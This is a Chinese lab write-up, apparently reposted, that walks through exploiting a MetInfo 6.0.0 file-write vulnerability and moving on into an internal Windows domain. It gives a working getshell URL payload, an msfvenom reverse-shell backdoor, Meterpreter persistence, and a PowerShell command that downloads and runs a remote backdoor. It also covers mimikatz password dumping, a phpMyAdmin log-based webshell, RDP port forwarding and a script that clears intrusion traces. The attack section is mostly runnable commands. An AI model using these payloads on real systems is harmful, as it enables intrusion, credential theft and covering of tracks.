内容简介:*本文原创作者:twosmi1e,本文属于FreeBuf原创奖励计划,未经许可禁止转载攻击机:kali linux及Windows10(本机)边缘机:Windows 2003 公网IP:192.168.61.140 内网IP:192.168.129.139
*本文原创作者:twosmi1e,本文属于FreeBuf原创奖励计划,未经许可禁止转载
0×00 环境搭建
攻击机:kali linux及Windows10(本机)
边缘机:Windows 2003 公网IP:192.168.61.140 内网IP:192.168.129.139
靶机:Windows 2008 内网IP192.168.129.130
0×01 引言
漏洞概述
MetInfo是中国米拓信息技术有限公司的一套使用 PHP 和 Mysql 开发的内容管理系统(CMS)。Metinfo 6.0.0版本中存在安全漏洞。远程攻击者可通过向admin/column/save.php文件发送‘module’参数利用该漏洞向.php文件写入代码并执行该代码。
影响版本
MetInfo 5.3.16MetInfo 6.0.0
漏洞分析
漏洞发生在metinfo6.0.0\admin\column\save.php的column_copyconfig函数。 跟进 column_copyconfig
: 跟进 Copyindx()
:
/*复制首页*/ function Copyindx($newindx,$type){ if(!file_exists($newindx)){ $oldcont ="<?php\n# MetInfo Enterprise Content Management System \n# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. \n\$filpy = basename(dirname(__FILE__));\n\$fmodule=$type;\nrequire_once '../include/module.php'; \nrequire_once \$module; \n# This program is an open source system, commercial use, please consciously to purchase commercial license.\n# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.\n?>"; $fp = fopen($newindx,w); fputs($fp, $oldcont); fclose($fp); } }
可以看到这里将 $type
变量直接写入了文件中,而 $type
变量一直可以追溯到column_copyconfig的 $module
变量而metinfo一个经典的伪全局变量覆盖,在 metinfo6.0.0\admin\include\common.inc.php
中。
foreach(array('_COOKIE', '_POST', '_GET') as $_request) { foreach($$_request as $_key => $_value) { $_key{0} != '_' && $$_key = daddslashes($_value,0,0,1); $_M['form'][$_key]=daddslashes($_value,0,0,1); } }
这样我们可以通过传入get参数,覆盖$module变量,导致任意文件写入。
0×02 边缘机渗透
信息收集
访问网站: 进行whoami,后台扫描,目录扫描,端口扫描等常见信息收集,通过HTTP报文响应头部可初步判断网站技术架构。 发现网站为metinfo5.3.19:
获取webshell
查找漏洞
Metinfo6.0.0之前版本存在后台getshell漏洞,登入后台即可使用payload getshell。
爆破后台
扫出后台目录为/admin弱口令爆破admin,admin登入后台。
getshell
Payload:admin/column/save.php?name=123&action=editor&foldername=upload&module=22;@eval($_POST['a']);/*
菜刀连接
Shell在upload目录下的index.php,使用蚁剑连接。 看一下权限administrator,不用提权了。
使用msf进行后渗透
msf生成后门 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.61.3 -f exe>twosmile.exe
传到目标机: 然后用虚拟终端运行: 在kali上可以看到 shell 反弹回来: 查看进程: 使用 migrate
迁移进程:
域信息收集
使用域下常见信息收集命令进行信息收集如getuid,systeminfo,ipconfigall,net user,net view等等。 发现两张网卡两个IP,确定有内网无误,使用msf进行getsystem: 其他msf信息收集命令:
run post/windows/gather/checkvm #是否虚拟机 run post/linux/gather/checkvm #是否虚拟机 run post/windows/gather/forensics/enum_drives #查看分区 run post/windows/gather/enum_applications #获取安装软件信息 run post/windows/gather/dumplinks #获取最近的文件操作 run post/windows/gather/enum_ie #获取IE缓存 run post/windows/gather/enum_chrome #获取Chrome缓存 run post/windows/gather/enum_patches #补丁信息 run post/windows/gather/enum_domain #查找域控
获取密码
使用msf:
load mimikatz kerberos
失败,尝试hashdump: 破解hash:
权限维持
通过Meterpretershell获取持久性shell的方法有两种,这里我使用的是第一种。
Persistence模块
运行 run persistence -U -i 10 -p 4444 -r 192.168.61.3
:
-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。 -i:设置反向连接间隔时间,单位为秒; -p:设置反向连接的端口号; -r:设置反向连接的ip地址。
这样重启后任然会有shell反弹。
Metsvc模块
这个模块是直接开启服务 监听31337端口利用handler下的windows/metsvc_bind_tcp模块,重新获得shell。
powershell权限维持
powershell脚本: https://github.com/re4lity/Schtasks-Backdoor 使用方法见Readme文件。
powershell.exe-exec bypass -c "IEX (New-ObjectNet.WebClient).DownloadString('http://192.168.61.140/Invoke-taskBackdoor.ps1');Invoke-Tasksbackdoor-method nccat -ip 192.168.61.3 -port 53 -time 2"
192.168.61.140 本地服务器。
192.168.61.3 nc主机。
开启3389
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
中文会乱码: 输入之前抓到的用户名密码: 登入远程桌面后也可以收集一波信息: 域控IP:
其他常用命令:
ipconfig /all 查看本机IP,所在域 net user /domain 查询域用户 net group /domain —— 查询域里面的工作组 net group “domain admins” /domain —— 查询域管理员用户组 ping D1.com 查看域控的IPnltest /dclist:d1 查看域控名字 net time /domain 查看时间,域控机器名 net view 显示域中的计算机名列表 net view /domain:D1 显示指定域中机器名 net user /domain 查看当前域中的用户 net group “domain admins” /domain 查询域管理员用户组 net config workstation 显示更改可配置工作站参数,也可以获得登录域,机器名等信息 net accounts查看本地密码策略 netstat –an/ano/anb网络连接查询 route print路由表 dsquery,可以用来收集跨域的信息,但是跨域执行的前提是必须建立信任关系
这些命令也可以直接在msf中输入 shell
命令执行。
0×03 内网渗透
查看arp缓存
arp:
route:
添加路由
端口扫描
445端口看一下是否能用ms17010:
不能打,用边缘机远程桌面看看80端口有什么服务。
webshell
有apache phpmyadmin记下绝对路径 C:/phpStudy/PHPTutorial/WWW
。
尝试弱口令登入phpmyadmin然后日志写shell:
show variables like '%general%'; set global general_log = on; set global general_log_file = 'C:/phpStudy/PHPTutorial/WWW/shell.php'; select '<?php eval($_POST['a']);?>'
报错无所谓 已经存进日志了,然后传个菜刀到边缘机,用边缘机连一下:
开3389
传个脚本上去抓hash: mimikatz也可以:
privilege::debug sekurlsa::logonPasswords
端口转发
上传htran: htran -p -tran 8888 192.168.129.130 3389
将域控3389转发到边缘机8888再连边缘机ip(192.168.61.140:8888)远程桌面: 连接成功。
痕迹清除
简单清除一下,动静还是比较大的;
msf中clearev: 3389痕迹清除脚本:
echo off color 0A title 3389连接痕迹清除 mode con cols=88 lines=20 set /p fk= 确定要清空3389连接痕迹吗?(y/n) if /i "%fk%"=="y" goto y if /i "%fk%"=="n" goto n call %0 :y reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client" /f del /a /f /q %HOMEPATH%\Documents\Default.rdp echo 命令执行成功,请手动查看是否清除。 pause >nul :n exit
然后再删掉你上传的所有文件,收工。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 【漏洞复现】WordPress插件Quizlord 2.0 XSS漏洞复现与分析
- Ghost Tunnel复现
- Paxos与“幽灵复现”
- CVE-2010-3333漏洞复现
- CVE-2017-12149漏洞复现
- CSAW 2018 复现writeup
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
从界面到网络空间
(美)海姆 / 金吾伦/刘钢 / 上海科技教育出版社 / 2000-7 / 16.40元
计算机急剧改变了20世纪的生活。今天,我们凭借遍及全球的计算机网络加速了过去以广播、报纸和电视形式进行的交流。思想风驰电掣般在全球翻飞。仅在角落中潜伏着已完善的虚拟实在。在虚拟实在吕,我们能将自己沉浸于感官模拟,不仅对现实世界,也对假想世界。当我们开始在真实世界与虚拟世界之间转换时,迈克尔·海姆问,我们对实在的感觉如何改变?在〈从界面到网络空间〉中,海姆探讨了这一问题,以及信息时代其他哲学问题。他......一起来看看 《从界面到网络空间》 这本书的介绍吧!